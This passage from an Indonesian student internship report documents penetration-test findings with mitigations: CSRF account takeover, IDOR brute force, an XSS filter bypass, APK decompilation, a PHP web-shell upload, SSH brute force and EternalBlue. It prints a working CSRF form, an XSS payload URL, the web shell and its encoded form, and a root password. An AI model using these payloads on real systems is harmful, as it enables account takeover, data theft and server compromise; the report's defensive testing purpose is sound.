email yang dikirimakan boleh kosong, dengan begitu dapat disimpulkan

disisi server tidak ada pengecekan apakah email ini terdaftar atau tidak.

Karena parameter email boleh kosong maka memudahkan attacker untuk

melakukan serangan. Karena attacker tidak perlu menebak nebak email

yang digunakan oleh korban. Untuk melakukan pengujian CSRF, perlu

membuat script untuk digunakan sebagai tool dalam melakukan eksploitasi.

Berikut ini merupakan script yang penulis buat untuk melakukan pengujian

CSRF.

<html>

<body>

<body onload="setTimeout(function() { document.myform.submit() },

1000)">

<form name="myform" action="https://sensor/user/editemail"

method="POST">

<input type="hidden" name="email" value=""/>

<input type="hidden" name="new_email"

value="[email protected]"/>

</form>

</body>

</html>

Kemudian ketika halaman yang mengandung script diatas diakses

oleh korban, maka secara tidak disadari mengganti email secara paksa.

Apabila halaman tersebut diakses maka akan melakukan eksekusi seperti

pada gambar dibawah ini

Gambar 3. 18 Gambar hasil eksekusi script exploit CSRF

Page 22: BAB III ANALISA DAN PEMBAHASAN

37

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Karena email merupakan hal yang vital yang dapat digunakan untuk

melakukan login maka serangan dapat dikembangkan menjadi mengambil

alih akun melalui lupa password. Ketika email sudah terganti maka hal yang

peru dilakukan adalah melakukan lupa password yang dilakukan oleh

attacker.

Gambar 3. 19 Gambar permintaan reset password

Secara otomatis attacker akan mendapatkan informasi URL untuk

melakukan pengaturan password baru melalui email.

Gambar 3. 20 Gambar reset password

Setelah itu attacker dapat mengambil alih akun korban dengan mengganti

password melalui form reset password yang telah tersedia.

Gambar 3. 21 Gambar buat password baru

Page 23: BAB III ANALISA DAN PEMBAHASAN

38

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang

attacker dapat mengambil alih pengguna lain dengan cara mengirimkan file.

Untuk mengantisipasi terjadinya serangan CSRF, perlu adanya unique token

untuk melindungi pengguna ketika melakukan perubahan dan permintaan

data. Adanya unique token membuat serangan ini tidak akan dapat bekerja,

karena setiap permintaan memiliki token yang berbeda. Sehingga apabila

korban membuka URL atau file HTML yang telah disisipkan script untuk

merubah email hasilnya tidak valid karena didalamnya tidak mengandung

unique token yang cocok dengan unique token yang tersimpan pada server.

Selain itu perlu adanya pengecekan menggunakan password apabila terjadi

perubahan data rahasia seperti email.

5. Insecure Direct Object References Pada Fitur Code Booking

IDOR (Insecure Direct Object References) merupakan kerentanan

yang terjadi pada suatu objek. Kerentanan terdapat pada parameter userID.

Attacker dapat melewati otorisasi yang bukan haknya dengan cara

memodifikasi parameter yang dikirimkan pada objek tersebut. Serangan ini

terjadi karena tidak adanya pengecekan otorisasi yang memadai pada suatu

objek. Melalui kerentanan ini seorang attacker dapat memanfaatkannya

untuk mengambil informasi-informasi penting yang bersifat pribadi terkait

data diri pemesanan hotel dan pemesanan penerbangan seperti nama

konsumen, no hp konsumen, email konsumen, informasi keberangkatan dan

informasi kedatangan pesawat yang telah dipesan, dan dapat digunakan

untuk mencuri e-ticketing.

Langkah awal untuk melakukan pengujian IDOR adalah dengan

mendaftarkan dua akun pada situs tersebut. Kemudian setiap akun

melakukan pemesanan. Setelah melakukan pemesanan, masing-masing

akun akan mendapatkan codebooking dari pemesanan. Misalnya akun A

mendapatkan kode T1RDZX dan akun B mendapatkan kode ABCDEF.

Kemudian penulis memfokuskan pada akun A, lakukan pengujian pada url

http://*sensor*/*sensor*/detail?code=T1RDZX.

Page 24: BAB III ANALISA DAN PEMBAHASAN

39

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Langkah selanjutnya merubah value dari T1RDZX dengan kode yang

didapatkan oleh akun B yaitu ABCDEF. Serangan ini sukses apabila pada

akun A dapat menampilkan informasi pemesanan yang dilakukan oleh akun

B. Untuk mendapatkan informasi dari konsumen lain, membutuhkan

melakukan bruteforce kode tersebut. Dari kode tersebut dapat diketahui

pattern yang membentuk kode tersebut. Kode tersebut dibentuk dari angka

dan huruf ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 yang

dilakukan pengacakan dengan panjang 6 karakter. Untuk melakukan

bruteforce menggunakan penulis menggunakan bantuan tools burpsuite

yang bertujuan agar mendapatkan kode yang valid.

Gambar 3. 22 Gambar parameter yang rentan terhadap IDOR

Gambar 3. 23 Gambar generate booking code

Page 25: BAB III ANALISA DAN PEMBAHASAN

40

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 24 Gambar hasil bruteforce melalui celah IDOR

Setelah melakukan bruteforce penulis mendapatkan code booking

yang valid, yang dapat digunakan untuk mendapatkan informasi-informasi

penting terkait informasi pemesanan penerbangan dan hotel. Untuk

memastikannya penulis mencoba salah satu code booking yaitu FYRYKK.

Melalui cara ini mendapatkan informasi penting seperti nama, no ponsel,

email, informasi penerbangan.

Gambar 3. 25 Gambar informasi penerbangan

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang

attacker dapat mengambil informasi pengguna lain yang sifatnya rahasia.

Untuk mengantisipasi terjadinya serangan IDOR, perlu adanya pembatasan

session dari setiap aktivitas yang digunakan untuk melakukan penambahan

Page 26: BAB III ANALISA DAN PEMBAHASAN

41

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

wishlist produk. Dalam hal ini perlu adanya pembatasan session pada

parameter userID, jadi setiap pengguna hanya menambahkan wishlist

produk ke dashboardnya sendiri. Apabila terjadi serangan oleh seorang

attacker yang melakukan permintaan penambahan wishlist yang bukan

miliknya maka sistem akan membacanya sebagai permintaan yang tidak

valid.

6. Reflected XSS Pada Fitur Cari Produk

Serangan XSS merupakan serangan dengan cara menyuntikan script

ke aplikasi web melalui parameter yang rentan terhadap serangan XSS.

Serangan ini terjadi karena belum terdapatnya pernyaringan terhadap

special character yang dimasukan oleh pengguna aplikasi. Pada situasi ini

yang terjadi adalah reflected XSS dimana script tidak tersimpan didalam

web aplikasi. Melalui kerentanan ini seorang attacker dapat

memanfaatkannya untuk memanipulasi pengguna aplikasi untuk

mengunjungi halaman palsu untuk mendapatkan informasi seperti

username, password. Melalui celah ini dapat digunakan untuk

memanipulasi pengguna agar melakukan download suatu malware yang

kemudian dapat berjalan di komputer korban. Selain itu dapat digunakan

untuk menjebak korban agar mengunjungi situs yang berbahaya seperti

phising.

Pada pengujian XSS pada umumnya menggunakan payload seperti

<script>alert(“xss”);</script>, payload tersebut apabila tereksekusi oleh

sistem maka akan menampilkan pop up pada browser. Dengan

tereksekusinya script tersebut maka dapat dipastikan, pada fitur tersebut

tidak terdapat pengecekan spesial karakter dan tidak melakukan escape.

Namun ketika dilakukan percobaan payload tersebut pada fitur pencarian

produk tidak berhasil Karena terdapat pengecekan untuk menghindari

serangan ini. Untuk itu perlu adanya suatu payload baru yang digunakan

untuk melewati pengecekan tersebut. Hal yang perlu dilakukan adalah

mencoba melewati pengecekan yang ada dengan mencoba menggunakan

payload yang lain seperti berikut ini ” style=”background:red”

Page 27: BAB III ANALISA DAN PEMBAHASAN

42

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

onmouseover=”alert(document.domain)”><x=”. Payload tersebut

terfilter dan tampil menjadi style=background:red x =. Melalui hasil ini

dapat dianalisa bahwa sistem tidak membolehkan masukan berupa karakter

> dan <. Yang perlu dilakukan mencoba melakukan bypassing dengan

mengganti Karakter lebih besar (>) dan lebih kecil (<) dengan spasi “ “.

Payload yang digunakan tadi diganti menjadi " style=”background:red;

“<onmouseover=”alert(document.domain)”<x=”. Sehingga akan

menghasilkan payload akhir adalah sebagai berikut :

https://*sensor*/*sensor*?tab=product&keyword=%22%20style=%E

2%80%9Dbackground:red;%20%E2%80%9C%3Conmouseover=%

E2%80%9Dprompt(document.domain)%E2%80%9D%3Cx=%E2%

80%9D. Setelah dikirimkan menghasilkan pesan pop up. Melalui pesan ini

dapat teridentifikasi bahwa pada fitur ini terdapat celah XSS.

Gambar 3. 26 Gambar celah XSS

Serangan ini menghasilkan nilai risiko yang sedang, karena seorang

attacker tidak dapat mengeksploitasi secara langsung yang dapat

meruguikan perusahaan. Untuk mengantisipasi terjadinya serangan XSS

perlu adanya penyaringan special character dan memfilter kata kunci

seperti alert, prompt, confirm, onmouseover, script dan keyword yang biasa

digunakan untuk melakukan serangan XSS.

7. Lack of Binary Protections Pada Aplikasi Android

Lack of Binary Protections merupakan celah yang terkajadi karena

tidak adanya perlindungan pada suatu aplikasi, sehingga memungkinkan

seorang attacker melihat isi dari aplikasi tersebut melalui cara reverse

engineering. Melalui kerentanan ini seorang attacker dapat

memanfaatkannya untuk mengambil source code dari aplikasi tersebut.

Page 28: BAB III ANALISA DAN PEMBAHASAN

43

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Attacker dapat memodifikasi source code dan kemudian menyisipkan

malware yang selanjutnya disebar luaskas ke masyarakat.

Pada kasus ini penulis diberikan file apk yang merupakan aplikasi

android. Untuk membongkarnya menjadi source code kembali perlu

melakukan decompile. Penulis menggunakan dex2jar untuk mengkonversi

file apk menjadi jar.

Gambar 3. 27 Gambar decompile APK kebentuk jar

Setelah mendapatkan file jar, agar file jar dapat kembali kebentuk

source code perlu dilakukan decompile menggunakan java decompiler. File

jar berhasil ter decompile dan source code dapat dibaca karena tidak adanya

obfuscate yang melindungi source code. Berawal dari kerentanan ini,

penulis mendapatkan informasi IP server dari web service yang digunakan.

Gambar 3. 28 Gambar decompile kebentuk java

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang

attacker dapat mencuri source code dan memodifikasinya dengan

menambahkan malware untuk keuntungan tersebut. Untuk melindungi dari

serangan jenis ini, seorang developer perlu melakukan perlindungan dengan

menambahkan obfuscate pada aplikasi mobile yang ia buat. Dengan adanya

obfuscate seorang attacker akan kesulitan untuk mengambil source code

Page 29: BAB III ANALISA DAN PEMBAHASAN

44

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

dan membacanya source code tersebut. Hal ini terjadi karena source code

asli telah dikaburkan sehingga susah untuk dibaca dan dianalisa.

8. Unrestricted File Upload Pada Fitur Upload Sertifikat

Unrestricted File Upload merupakan kerentanan yang terjadi karena

tidak adanya penyaringan dan pengecekan file yang di upload oleh

pengguna. Melalui kerentanan ini seorang attacker dapat memanfaatkannya

untuk meng-upload backdoor yang dapat digunakan oleh attacker untuk

berkomunikasi dengan server secara ilegal. Melalui cara ini seorang

attacker dapat melihat informasi yang tersimpan di dalam server, seorang

attacker juga dapat mengambil alih server secara penuh.

Berdasarkan hasil intercept request melalui bantuan tool burp suite

parameter image di encode mengguanakan base64 encode dan urlencode.

Selain itu terdapat parameter namaFile yang mengirimkan namafile dari

gambar tersebut. Pada parameter namaFile tidak terdapat pengecekan

format file yang dikirim, sehingga dapat digunakan untuk melakukan

uploading backdoor PHP.

Gambar 3. 29 Gambar intercept request ketika upload

Langkah selanjutnya adalah mencoba melakukan uploading backdoor

dengan melakukan encoding menggunakan base64 dan urlencode. Berikut

ini adalah backdoor PHP yang coba di upload.

<?php

if(isset($_REQUEST['cmd'])){

echo "<pre>";

$cmd = ($_REQUEST['cmd']);

system($cmd);

echo "</pre>";

die;

} ?>

Page 30: BAB III ANALISA DAN PEMBAHASAN

45

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Kemudian ketika di encode akan menghasilkan sebagai berikut:

PD9waHAKaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpewogICA

gICAgIGVjaG8gIjxwcmU%2BIjsKICAgICAgICAkY21kID0gKCRfUkVR

VUVTVFsnY21kJ10pOwogICAgICAgIHN5c3RlbSgkY21kKTsKICAgICA

gICBlY2hvICI8L3ByZT4iOwogICAgICAgIGRpZTsKfQo%2FPg%3D%3

D

Selain mengubah parameter image, hal yang perlu dilakukan agar serangan

ini dapat berhasil adalah mengubah namaFile yang awalnya namaFile.jpg

menjadi 1337.php yang bertujuan agar backdoor php dapat berjalan.

Gambar 3. 30 Gambar meng-upload backdoor

Gambar 3. 31 Gambar backdoor berhasil di upload

Response dari server menunjukan backdoor sukses ter upload. Untuk

mmencari tahu letak path yang digunakan dalam menyimpan file yang

terupload penulis menemukan URL pada source code di aplikasi mobile.

Page 31: BAB III ANALISA DAN PEMBAHASAN

46

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 32 Gambar mencari tahu letak path dari backdoor

Dari source code diatas dapat dianalisa, untuk mengakses file dengan cara

alamat url + namafile. Sehingga mendapatkan hasil akhir

http://192.168.43.100/assets/files/sertifikat/1337.php. Selanjutya mencoba

mengakses backdoor menggunakan browser, dan mencoba menjalankan

perintah ipfconfig.

Gambar 3. 33 Gambar mengakses backdoor

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang

attacker dapat berinteraksi dengan server melalui backdoor yang telah

ditanam pada server. Untuk mengantisipasi terjadinya serangan ini, perlu

Page 32: BAB III ANALISA DAN PEMBAHASAN

47

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

adanya pengecekan pada file yang di upload. Metode pengecekan yang

digunakan dapat berupa hanya membolehkan file yang berekstensi gambar

seperti (JPEG, JPG, PNG, BMP) dan memiliki MIME-TYPE gambar saja

yang dapat diupload. Selain dari itu tidak dapat diupload karena tidak cocok.

9. Weak Password Pada Service SSH Server Linux

Kerentanan ini terjadi karena seorang system administrator membuat

password yang mudah dan umum. Selain itu tidak adanya pembatasan

jumlah percobaan login pada SSH membuat serangan ini dapat terjadi.

Melalui kerentanan ini seorang attacker dapat memanfaatkannya untuk

mengambil alih server secara penuh. Pada situasi ini dapat login setingkat

root sehingga sangat berbahaya.

Sebelum menguji service, hal yang paling awal dilakukan adalah

mencari tahu service apa saja yang berjalan pada server tersebut. Terdapat

beberapa cara dalam mencari tahu hal ini, penulis menggunakan tool nmap

untuk mencari tahu service yang berjalan di port berapa. Melalui teknik

scanning secara otomatis dapat menemukan service apa saja yang sedang

dijalankan oleh server. Karena pada pengujian ini mencoba melakukan

serangan bruteforce maka penulis fokus pada service SSH. SSH merupakan

suatu service yang digunakan untuk melakukan remote server jarak jauh.

Gambar 3. 34 Gambar scanning dengan nmap

Dalam melakukan pengujian service SSH penulis mencoba menggunakan

bruteforce attack. Penulis menggunakan metasploit melakukan serangan

tersebut.

Page 33: BAB III ANALISA DAN PEMBAHASAN

48

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 35 Gambar bruteforce attack dengan metasploit pada SSH

Serangan ini menghasilkan service tersebut rentan terhadap serangan

bruteforce. Hal ini dibuktikan penulis berhasil masuk ke dalam server

melaui SSH dengan username root dan password P@ssw0rd2017

Gambar 3. 36 Gambar bruteforce attack berhasil mendapatkan password

Gambar 3. 37 Gambar login ke SSH

Page 34: BAB III ANALISA DAN PEMBAHASAN

49

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang

attacker dapat berinteraksi dengan server secara langsung. Untuk

mengantisipasi terjadinya serangan ini dengan menerapkan kompleksitas

password dengan mengkombinasikan huruf besar, huruf kecil, angka dan

karakter. Selain itu perlu adanya pembatasan login yang gagal, apabila

melebihi batas dari percobaan login yang dilakukan maka tidak boleh

mengakses SSH melalui IP tersebut. Mematikan fitur login SSH setingkat

root, alangkah lebih baiknya hanya user biasa yang dapat login ke server

melalui SSH.

10. Remote Code Execution Pada Service SMB Windows Server

Kerentanan ini terjadi pada service SMB Microsoft versi lama.

Attacker dapat mengirimkan code berbahaya yang dapat dieksekusi oleh

server secara remote jarak jauh. Melalui kerentanan ini seorang attacker

dapat memanfaatkannya untuk mengambil alih server secara penuh. Selain

itu melalui celah ini dapat rentan terhadap infeksi ransomware wannacy.

Serangan ini terjadi Karena adanya kerentanan pada service samba yang

berjalan pada port 445.

Untuk melakukan serangan ini penulis menggunakan tool metasploit

dan menggunakan module eternalblue untuk mendapatkan akses shell

windows server. Untuk melaukan serangan cukup memaskan alamat IP dan

PORT SMB service, secara otomatis tools akan melakukan exploitasi dan

mendapatkan akses penuh ke server target.

Page 35: BAB III ANALISA DAN PEMBAHASAN

50

Praktik Kerja Lapangan/Kerja Praktik BAB III

Pordi IF - IT Telkom Purwokerto NIM 14102019

Gambar 3. 38 Gambar eksploitasi ethernal blue

Berikut ini gambar server yang terambil alih, penulis dapat melakukan

remote target melalui shell cmd dan dapat menjalankan perintah ipconfig

Gambar 3. 39 Gambar mengambil alih server melalui ethernal blue

Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang attacker

dapat mengambil alih production server secara penuh. Untuk

mengantisipasi terjadinya serangan ini dengan melakukan update security

dari Microsof